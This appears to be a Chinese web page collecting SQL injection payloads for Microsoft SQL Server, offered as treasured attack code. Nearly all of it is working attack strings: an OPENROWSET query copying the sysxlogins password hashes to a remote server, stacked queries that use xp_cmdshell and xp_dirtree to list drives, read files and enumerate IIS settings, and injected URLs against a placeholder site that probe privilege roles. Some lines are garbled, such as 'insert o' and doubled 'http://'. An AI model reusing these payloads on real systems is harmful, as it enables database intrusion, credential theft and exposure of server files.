珍藏版SQL旁注精华代码如下:
以下是引用片段:
insert o OPENROWSET(’SQLOLEDB’, ’
uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from
_sysxlogins’) select * from database.dbo.sysxlogins
得到hash的后就可以进行暴力破解这需要点运气和大量时间
遍历目录思路方法:
先创建个临时表:temp
以下是引用片段:
5’;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar
(255));--
5’;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5’;insert o temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表
5’;insert o temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录目录树结
构,并寸入temp表中
5’;insert o temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看某个文
件内容
5’;insert o temp(id) exec master.dbo.xp_cmdshell ’dir c:\’;--
5’;insert o temp(id) exec master.dbo.xp_cmdshell ’dir c:\ *.asp /s/a’;--
5’;insert o temp(id) exec master.dbo.xp_cmdshell ’cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’
5’;insert o temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- (xp_dirtree适用权限
PUBLIC)
写入表:
以下是引用片段:
语句1:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
sysadmin’));--
语句2:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
serveradmin’));--
语句3:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
upadmin’));--
语句4:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
securityadmin’));--
语句5:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
securityadmin’));--
语句6:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
diskadmin’));--
语句7:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
bulkadmin’));--
语句8:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’
bulkadmin’));--
语句9:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER(’db_owner’
));--
把路径写到表中去:
以下是引用片段:
_blank>http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id
)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec
master.dbo.xp_dirtree ’c:\’-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in(’@Inetpub’))-
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths
varchar(100), id )--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec
master.dbo.xp_dirtree ’e:\web’--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths
from dirs1)-
最新评论